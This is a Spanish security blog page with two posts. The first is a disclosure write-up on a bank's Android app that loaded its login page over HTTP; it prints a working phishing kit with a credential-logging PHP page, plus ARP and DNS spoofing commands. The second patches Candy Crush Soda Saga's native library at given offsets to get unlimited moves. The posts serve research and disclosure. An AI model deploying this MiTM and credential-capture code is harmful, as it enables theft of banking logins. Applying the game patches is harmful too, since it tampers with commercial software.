Webs amigas

miércoles, 11 de marzo de 2015

Bancos y su (in)seguridad: Analizando una app Android

Como todos sabemos, existe un número incontable de aplicaciones en el Play Store pertenecientes a prácticamente todos o casi todos los bancos conocidos, pero ¿alguna vez nos hemos preguntado cuanto son de seguras?

Este artículo es el primero de una serie en la que trataré de analizar todo aquello que vaya descubriendo acerca de las mismas, en relación a cómo implementan la seguridad de los datos, la cual debería ser prioritaria sobre todo en este tipo de aplicaciones, pero como podremos ver esto no siempre es así.

En este caso, voy a analizar una aplicación de un banco de España bastante conocido, cuyo nombre no voy a mencionar por motivos obvios. Cabe destacar en primer lugar que a día de hoy, esta "vulnerabilidad" ya ha sido reportada y arreglada conforme al siguiente timeline:

09/01/2015: Se analiza la aplicación.
10/01/2015: Generado el presente PoC.
11/01/2015: Reportado este documento al departamento correspondiente del mencionado banco.
12/01/2015: Aparece en Google Play una versión actualizada solventando el error.
13/01/2015: Recibida llamada de agradecimiento del jefe de Seguridad perteneciente al banco afectado.
11/03/2015: Publicación del presente artículo, pasados dos meses del informe inicial y teniendo en cuenta que a la fecha ya no existe tal vulnerabilidad.

Cabe destacar la rápida actuación por parte del banco, así como la posterior llamada en agradecimiento. Doy mis felicitaciones a su equipo por tomarse en serio asuntos como este, ya que por desgracia esto no sucede en la mayoría de las empresas.

En resumen, el presente artículo trata sobre una vulnerabilidad detectada en una app de un conocido banco español, la cual utiliza WebViews con URLs no seguras para acceder a los recursos. De este modo, se puede realizar un ataque MiTM y robar credenciales, así como de realizar operaciones fraudulentas engañando a la víctima mediante phishing o modificación de las peticiones al vuelo.


Condiciones asumidas y limitaciones:
  • Atacante en la misma red local que la víctima. 
  • Víctima con aplicación ya instalada en el móvil y ejecutada al menos una vez, previamente al ataque. 
  • Víctima abre la aplicación y accede a su área de cliente. 

Reconocimiento:

En un primer reconocimiento a la app, lo primero que vemos es que carga la web correspondiente al área de cliente en un WebView; por tanto desempaquetamos y desensamblamos el APK para buscar dónde se define la URL inicial.

Encontramos algunas referencias interesantes en los strings:

<string name="noticias_url">http://app.*******.com/apl/adserver/index_%s.html?idEspacio=140&amp;formato=rss2</string>
<string name="aviso_legal_url">http://*******.mobi/docs/general/APPavisolegal_es.html</string>
<string name="ver_todos_url">http://webm.*********.es/productos/mobile/es/index.html</string>
<string name="acceder_web_url">http://portal.**********.es/home/particulares_es.html</string>

Y sobre todo, la mas importante:

<string name="lo_url">http://m.**********.es/redir/WAP/SPDServlet?PN=LGN&amp;PE=1&amp;IDIOMA=%1$s&amp;CANAL=Y&amp;PASSTHROUGH=ALWAYS&amp;DEMO=0&amp;ENTORNO=L&amp;URL_DESC=/jsp/elolgnplogoff%2$s.jsp&amp;ORIGEN=%3$s&amp;loce=%4$s</string>

Lo primero que nos llama la atención es que casi todas las URL empiezan por HTTP, siendo así posible interceptar y modificar dichas peticiones sin que el cliente tenga posibilidad de realizar ningún tipo de validación. 

Continuamos instalando esta app en nuestro terminal de prueba, y la abrimos mientras capturamos el tráfico; Efectivamente, observamos que la URL cargada al abrir el WebView es la siguiente:

http://m.****************.es/redir/WAP/SPDServlet?PN=LGN&PE=1&IDIOMA=02&CANAL=Y&PASSTHROUGH=ALWAYS&DEMO=0&ENTORNO=L&URL_DESC=/jsp/elolgnplogoff02.jsp&ORIGEN=73200&loce=WAPICON_LOCALIZADOR_ANDROID_2.0.5_SIGNED_83ECD41FE8E5DBFCA3B8CFD8BC9CFC710F27C29E

Y como respuesta se obtiene un redirect 302 a otra URL, esta vez si, con HTTPS (menos mal). Confirmamos accediendo a la URL previa desde Google Chrome en PC y efectivamente la respuesta es la misma:



Ataque: 

Nuestro ataque consistirá en interceptar la primera petición que viaja en texto plano por el protocolo HTTP, y montar una web de phishing en su lugar, para lo que primeramente necesitaremos un servidor web funcional en nuestra máquina atacante (en este caso apache2) y algún tipo de server side scripting para almacenar los datos de nuestro interés, para lo que utilizaremos PHP. Instalamos y configuramos el servidor:

apt-get install php5 libapache2-mod-php apache2

Es importante que el servidor tenga activado el módulo mod_rewrite, ya que lo utilizaremos mas adelante, por lo que lo activaremos en caso de que haga falta y reiniciamos el servidor:

a2enmod rewrite
service apache2 restart

Seguidamente, necesitaremos una copia de la web real modificada para nuestro cometido; para ello, creamos el siguiente script:

# Descargamos la página spoofeando el user-agent de Google Chrome
wget -p --convert-links https://m2.******.es/WAP/SPDServlet?PN\=LGN\&PE\=1\&IDIOMA\=02\&CANAL\=Y\&PASSTHROUGH\=ALWAYS\&DEMO\=0\&ENTORNO\=L\&URL_DESC\=/jsp/elolgnplogoff02.jsp\&ORIGEN\=73200\&loce\=WAPICON_LOCALIZADOR_ANDROID_2.0.5_SIGNED_83ECD41FE8E5DBFCA3B8CFD8BC9CFC710F27C29E --header="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"

# Descargamos otros recursos que quedan por descargar
cd m2.*****.es/resources/novaLO/images/icons
wget https://m2.*****.es/resources/novaLO/images/icons/chevron_horizontalIzq.png --header="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
cd ../../../../..
mkdir -p m2.******.es/resources/loe
cd m2.*****.es/resources/loe
wget https://m2.******.es/resources/loe/EloLgnB000103.js --header="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"

# Renombramos la página principal
cd ../../..
cd m2.*******.es/WAP
mv * index.html

# Hacemos las modificaciones oportunas en la página original
sed -i 's/https:\/\/m2.*******.es\/WAP\///g' index.html
sed -i 's/href="https:[^"]*"/href="#"/g' index.html
sed -i 's/href="SPDServlet[^"]*"/href="#"/g' index.html
sed -i 's/action="SPDServlet[^"]*"/action="\/index.php"/g' index.html
sed -i 's/onSubmit="javascript:return enviar();"/onSubmit="javascript:return true;"/g' index.html
sed -i 's/href="http://m\.[^"]*"/href="#"/g' index.html
sed -i 's/href="http:\/\/m\.[^"]*"/href="#"/g' index.html
sed -i 's/<div onclick="javascript:submitLogin()"/<div onclick="javascript:submitLoginMod()"/g' index.html
sed -i 's/<\/script>/ function submitLoginMod() {\$("#login").submit(); setTimeout(function(){window.location.href\="\/redir.php";},2000);};<\/script>/' index.html

# Generamos el PHP que almacenará nuestras credenciales
cd ..
cat <<EOF > index.php
<?php

if(isset(\$_POST['E']) && isset(\$_POST['B'])) {
        file_put_contents('log_bank.txt', \$_POST['E']." - ".\$_POST['B']."\r\n");
        die();
}

?><html><head><script>window.location.href="/WAP/index.html";</script></head><body></body></html>
EOF

# Generamos otro PHP para redirigirnos a la web real
cat <<EOF > redir.php
<?php
header('Location: https://m2.********.es/WAP/SPDServlet?PN=LGN&PE=1&IDIOMA=02&CANAL=Y&PASSTHROUGH=ALWAYS&DEMO=0&ENTORNO=L&URL_DESC=/jsp/elolgnplogoff02.jsp&ORIGEN=73200&loce=WAPICON_LOCALIZADOR_ANDROID_2.0.5_SIGNED_83ECD41FE8E5DBFCA3B8CFD8BC9CFC710F27C29E');
EOF

# Generamos un .htaccess que redirija todas las peticiones que empiecen por /redir/ al index.php, que a su vez redireccionará a la web de phishing
cat <<EOF > .htaccess
RewriteEngine On
RewriteBase /
RewriteRule ^redir/(.*)$ /index.php [R=301,L]
RewriteOptions inherit
EOF

# Creamos el fichero de log
touch log_bank.txt

# Damos permisos de escritura al fichero de log
chmod 777 log_bank.txt

# Colocamos el directorio como raíz web, para servirlo
cd ..
mv m2.*******.es /var/www


Para el ataque en sí, usaremos arpspoof para hacer el MiTM y dnsspoof para suplantar la petición DNS al dominio original, redirigiendo la misma a la IP de nuestra máquina atacante dentro de la red, en donde estará nuestro servidor de phishing:

LOCAL=(ip atacante)
OBJETIVO=(ip objetivo)
GATEWAY=(ip gateway)
INTERFAZ=(interfaz)

# Activamos el forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Limpiamos las iptables
iptables -F iptables -t nat –F

# MiTM
arpspoof -i $INTERFAZ -t $GATEWAY $OBJETIVO &
arpspoof -i $INTERFAZ -t $OBJETIVO $GATEWAY &

# Ponemos nuestra IP asociada con m.****.es y ******.es en /etc/hosts
echo $LOCAL m.******.es >> /etc/hosts
echo $LOCAL *******.es >> /etc/hosts

# Suplantamos el DNS
dnsspoof -i $INTERFAZ -f /etc/hosts &

Y con esto, cuando la víctima abra la aplicación, la peticion inicial será atendida por nuestra máquina atacante, que responderá con la web de phishing. El usuario, ante la falta de elementos identificativos que le permitan verificar a que web se está accediendo realmente, debido al uso del WebView, será incapaz de distinguir entre la página real y la página de phishing, por lo que introducirá sus credenciales, que serán capturadas por el script de phishing. Tras esto, lo redirigimos esta vez a la página real del banco, después de haber almacenado sus credenciales de acceso.


Lo único que se observa extraño en la app es la ausencia de una barra publicitaria, debido a que no hemos replicado esa parte en nuestro servidor de phishing, pero con un par de scripts más se podría replicar perfectamente o incluso falsificar e introducir enlaces o scripts maliciosos.


 
El aspecto de nuestra web de phishing es indistinguible de la original, ante la ausencia de barras de dirección u otros métodos para verificar la autenticidad de la misma. Aún existiendo barra de dirección, podríamos falsificar la URL para que coincidiese con la original, y como estamos haciendo DNS spoofing, sería muy facil pasar por alto que la URL no es HTTPS, sino HTTP.



 
Introducimos nuestras credenciales de acceso y hacemos click en Entrar.



 
Vemos que en la máquina atacante ha quedado un bonito registro de los datos introducidos.

Mitigación:

En primer lugar, una app bancaria (y por lo general cualquier programa o servicio que gestione datos personales o datos de vital importancia) jamás debería acceder a través de protocolos no cifrados a cualquier tipo de servicio, pues se presta a ataques y manipulaciones de este tipo, ya que los protocolos no cifrados son inseguros por diseño en cuanto a la confidencialidad de los datos. Por otra parte, y más teniendo en cuenta que se trata de un banco, debería hacerse uso de políticas HSTS e idealmente HPKP en el servidor web. Y en cuanto a la app móvil cliente, aparte de hacer uso de HTTPS en las URLs iniciales, también debería añadir una validación del certificado HTTPS en cliente, para evitar posibles ataques de SSL striping.

Conclusión:

En este artículo hemos realizado un ataque de los mas sencillos, para demostrar el peligro que representa el uso de URLs HTTP en aplicaciones donde es vital la confidencialidad e integridad de los datos, pero de igual modo es posible realizar ataques mas elaborados; por ejemplo, se podría actuar de proxy y desviar la autenticación de doble factor hacia operaciones fraudulentas, a la hora de realizar operaciones que la requieran por parte del usuario. El usuario introduciría la firma con la tarjeta de coordenadas, creyendo que firma su operación, pero realmente firmando la operación fraudulenta del atacante, quedando la misma efectiva en el acto.

Y con esto hemos terminado, saludos y hasta la próxima!

jueves, 8 de enero de 2015

Movimientos ilimitados en Candy Crush Soda Saga

Versión en inglés / English version: http://reversingyourcode-eng.blogspot.com.es/2015/01/unlimited-moves-in-candy-crush-soda-saga.html

¡Buenas! Como primer artículo del presente blog, hoy vamos a tratar de conseguir movimientos ilimitados en Candy Crush Soda Saga, de King. Para ello iniciamos inspeccionando el APK con Java Decompiler, tras pasarlo por dex2jar.
Inspeccionamos las clases, y de las mismas encontramos varias que son interesantes:
//com.king.candycrushsodasaga.StritzActivity
public void onCreate(Bundle paramBundle)
  {
    System.loadLibrary("stritz");
    super.setHasSplashScreen(true);
    this.mSplashView = new SplashView(this);
    super.setMinimizeInsteadOfForceQuit(true);
    super.onCreate(paramBundle, PlatformProxy.createNativeInstance(this));
    this.mFrameLayout = new FrameLayout(this);
    this.mFrameLayout.addView(this.mSplashView, new FrameLayout.LayoutParams(-1, -1));
    this.mFrameLayout.addView(getGameView(), 0, new FrameLayout.LayoutParams(-1, -1));
    setContentView(this.mFrameLayout);
    addListener(new GameActivityFacebookListener(getGameView()));
    handleIntent(getIntent());
  }

//com.king.candycrushsodasaga.PlatformProxy
public static native int createNativeInstance(StritzActivity paramStritzActivity);

//com.king.core.GameActivity.onCreate
  protected void onCreate(Bundle paramBundleint paramInt)
  {
    this.mUncaughtExceptionWriter = new UncaughtExceptionWriter(getApplicationContext());
    super.onCreate(paramBundle);
    this.mDisplay = getWindow().getWindowManager().getDefaultDisplay();
    GameLib.mContext = this;
    WebViewHelper.mActivity = this;
    this.mView = new GameView(thisthis.mForceQuitWhenDonethis.mUseSleepInLoop);
    this.mView.setFocusable(true);
    this.mView.setFocusableInTouchMode(true);
    if (!this.mHasSplashScreen)
      setContentView(this.mView);
    addListener(new GameActivityDeepLinkListener(this.mView));
    addCustomGameListeners();
    this.mSensorManager = ((SensorManager)getSystemService("sensor"));
    this.mAccelerometer = this.mSensorManager.getDefaultSensor(1);
    getWindow().addFlags(1152);
    if (Build.VERSION.SDK_INT >= 9);
    this.mRotationCompensator = new RotationCompensatedListener(thisthis.mDisplay);
    this.mNativeApplication = new NativeApplication();
    this.mNativeApplication.create(paramIntthisgetApplicationContext());
    handleIntent(getIntent());
  }

//com.king.core.NativeApplication
public class NativeApplication
{
  public native void create(int paramInt, Activity paramActivity, Context paramContext);
 
  public native void destroy();
 
  public native void init(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
 
  public native void onAccelerometer(float paramFloat1, float paramFloat2, float paramFloat3);
 
  public native void onBackKeyDown();
 
//...
 
Vemos que hay muchas referencias a métodos nativos, y un LoadLibrary(stritz”); aparte de eso, no encontramos mucho más que sea de interés para nuestro cometido, ni ningún control de la lógica de juego, por lo que deducimos que el mismo ha de realizarse en alguna librería nativa. Desempaquetamos el APK con apktool, y observamos que efectivamente, en el directorio lib/armeabi-v7a, se encuentra una bonita librería nativa de 7,36MB llamada libstritz.so. Abrimos IDA Pro, y vamos a por ella.
A primera vista vemos que es enorme y tiene una ingente cantidad de funciones, así como varias librerías vinculadas estáticamente; la ofuscación brilla por su ausencia, así mismo todos los métodos se encuentran en la tabla de exportaciones con sus respectivos símbolos por lo que esto es una gran ventaja:

A primera vista, vemos algunas clases interesantes: SwitcherSwitcher::GameCommunicatorSugarCrushViewSwitcher::GameMode (abstract), CStritzGameModeFactory, y varias xxxxxxGameMode.
En un análisis inicial, podemos observar una estructura jerarquizada y compleja de clases e interfaces (OOP), varios patrones de diseño (Factory, Observeretc). Asimismo, se observa que prevalece la programación orientada a eventos, con varias funciones interesantes OnXXXXX.
En un análisis más detallado, vemos que uno de los controladores principales se trata de la clase Switcher, donde se gestionan los diferentes GameMode. A primera vista, parece que en los GameMode se define la implementación de cada modalidad de juego.
Buscamos funciones interesantes en los GameMode:
IsCompleted(void)
IsFailed(void)
GetFailReason(void)
GetWinReason(void) 
IsSugarCrushAllowed(void)
IsSugarCrushCompleted(void)
OnSuccessfulSwitch(Switcher::SwapInfo *)
OnUnsuccessfulSwitch(Switcher::Item *,Switcher::Item *)

Tambien buscamos referencias a “MovesLeft”, “DecreaseMovesLeft”:
CSpecialCandiesCreationState::GetNumExpectedMovesLeft(int,int,int) 00293C94 
Switcher::GameCommunicator::OnSugarCrushDecreaseMovesLeft(int) 00465E84 
CStritzGameModeHudPresenter::DecreaseNumberOfMovesLeft(int) 002FD374
CStritzGameModeHudPresenter::IncreaseNumberOfMovesLeft(int,float) 002FD38C
CStritzGameModeHudView::OnSugarCrushDecreaseMovesLeft(int) 002FE654
CStritzGameModeHudView::IncreaseNumberOfMovesLeft(int,float) 002FE690 
CStritzGameModeHudView::DecreaseNumberOfMovesLeft(int) 002FE910 

Vemos que se definen estados de juego:
Switcher::LogicState::INIT 007606CC 
Switcher::LogicState::SUGAR_CRUSH 007606D0 
Switcher::LogicState::SHUFFLE 007606D8 
Switcher::LogicState::COMPLETE 007606DC 
Switcher::LogicState::FAIL 007606E0

A primera vista existen varias funciones interesantes con el nombre “DecreaseNumberOfMovesLeft”. Desensamblamos la función CStritzGameModeHudView::DecreaseNumberOfMovesLeft(int):
LDR             R2, [R0,#0x58]
RSB             R1, R1, R2
STR             R1, [R0,#0x58]
B               _ZN22CStritzGameModeHudView9ShowMovesEv ; CStritzGameModeHudView::ShowMoves(void)
; End of function CStritzGameModeHudView::DecreaseNumberOfMovesLeft(int
 
Vemos que esta función simplemente carga en R2 el valor que se encuentra en this+0x58 (R0 = this), le suma el parámetro int que tiene la presente función (R1) y acto seguido almacena el resultado en this+0x58. Seguidamente antes de finalizar, realiza una llamada a this->ShowMoves(). Suena interesante, así que probamos a anular la resta reemplazando la instrucción RSB R1,R1,R2 por una equivalente a NOP. Ejecutamos el juego y vemos que el contador no avanza, por lo que en principio hemos conseguido nuestro objetivo. Pero probándolo en detalle, vemos que realmente sí que nos cuenta los movimientos, lo único que hemos anulado es la capa de presentación, por lo que deducimos que por detrás debe haber otro contador que es el que es tenido en cuenta por la lógica de juego. Como este no es el contador que buscamos, deshacemos la modificación y dejamos el ejecutable en su estado inicial.
En la siguiente etapa nos centramos en los objetos GameMode, que parecen ser los que contienen las diferentes lógicas de juego para cada uno de los modos de juego. No son muchos los métodos que contienen, así que nos centraremos en los siguientes:
IsSugarCrushAllowed(void)
IsSugarCrushCompleted(void)
OnSuccessfulSwitch(Switcher::SwapInfo *)
OnUnsuccessfulSwitch(Switcher::Item *,Switcher::Item *)

IsSugarCrushAllowed debe tener algún tipo de comprobación para determinar si podemos realizar movimiento o no podemos, así que desensamblamos SodaToTheBrimGameMode::IsSugarCrushAllowed:
; SodaToTheBrimGameMode::IsSugarCrushAllowed(void)const
EXPORT _ZNK21SodaToTheBrimGameMode19IsSugarCrushAllowedEv
_ZNK21SodaToTheBrimGameMode19IsSugarCrushAllowedEv
LDR             R0, [R0,#8]
CMP             R0, #0
MOVLE           R0, #0
MOVGT           R0, #1
BX              LR
; End of function SodaToTheBrimGameMode::IsSugarCrushAllowed(void)
 
Observamos que esta función solamente comprueba que el valor almacenado en this+8 sea mayor que 0, en cuyo caso devuelve 1, y en caso contrario devuelve 0. Vemos que es muy probable que this+8 sea el contador que buscamos, por lo que buscamos alguna referencia en los otros métodos anteriormente mencionados.
Observamos una muy interesante en OnSuccessfulSwitch:
; SodaToTheBrimGameMode::OnSuccessfulSwitch(Switcher::SwapInfo *)
EXPORT _ZN21SodaToTheBrimGameMode18OnSuccessfulSwitchEPN8Switcher8SwapInfoE
_ZN21SodaToTheBrimGameMode18OnSuccessfulSwitchEPN8Switcher8SwapInfoE
LDR             R3, [R0,#8]
CMP             R3, #0
SUBGT           R3, R3, #1
STRGT           R3, [R0,#8]
LDR             R0, [R0,#0x28]
CMP             R0, #0
BXEQ            LR
B               _ZN16CLemonadeSeaTask18OnSuccessfulSwitchEv ; CLemonadeSeaTask::OnSuccessfulSwitch(void)
; End of function SodaToTheBrimGameMode::OnSuccessfulSwitch(Switcher::SwapInfo *)
 
Vemos que lo primero que hace es cargar el mencionado valor, compararlo con 0, y en caso de ser mayor que 0, restarle 1 y almacenarlo. Buscamos el offset de la instrucción SUBGT en el binario, que resulta ser 0x323FAC, y reemplazamos ese 1 de “SUBGT R3,R3,#1” por un 0:

Simple y efectivo. Guardamos, reempaquetamos, firmamos, instalamos y ejecutamos el APK. Efectivamente, ¡ahora tenemos movimientos ilimitados! Como el contador de la capa de presentación y el contador interno son independientes, vemos que eventualmente se nos muestra en la interfaz que tenemos movimientos negativos xD
Proseguimos con el objetivo de conseguir lo mismo para cada modo de juego, parcheando el resto de funciones OnSuccessfulSwitch.
Vamos con BubbleGumGameMode:
; BubbleGumGameMode::OnSuccessfulSwitch(Switcher::SwapInfo *)
EXPORT _ZN17BubbleGumGameMode18OnSuccessfulSwitchEPN8Switcher8SwapInfoE
_ZN17BubbleGumGameMode18OnSuccessfulSwitchEPN8Switcher8SwapInfoE
LDR             R3, [R0,#8]
CMP             R3, #0
SUBGT           R3, R3, #1
STRGT           R3, [R0,#8]
BX              LR
; End of function BubbleGumGameMode::OnSuccessfulSwitch(Switcher::SwapInfo *)
 
Más de lo mismo. Esta vez el offset es 0x326AAC, reemplazamos el 1 por un 0.
Toca el turno a GiantBearsGameMode, que resulta una vez más ser un código idéntico, por lo que me salto los detalles; Buscamos el offset de la instrucción SUBGT y reemplazamos el 1 por un 0.
Repetimos exactamente el mismo procedimiento con HoneyGameModeCFloatingNutsMode y CChocolateNemesisGameMode; exactamente iguales que los anteriores.
Y con esto hemos finalizado, a disfrutar de Candy Crush Soda con movimientos ilimitados!!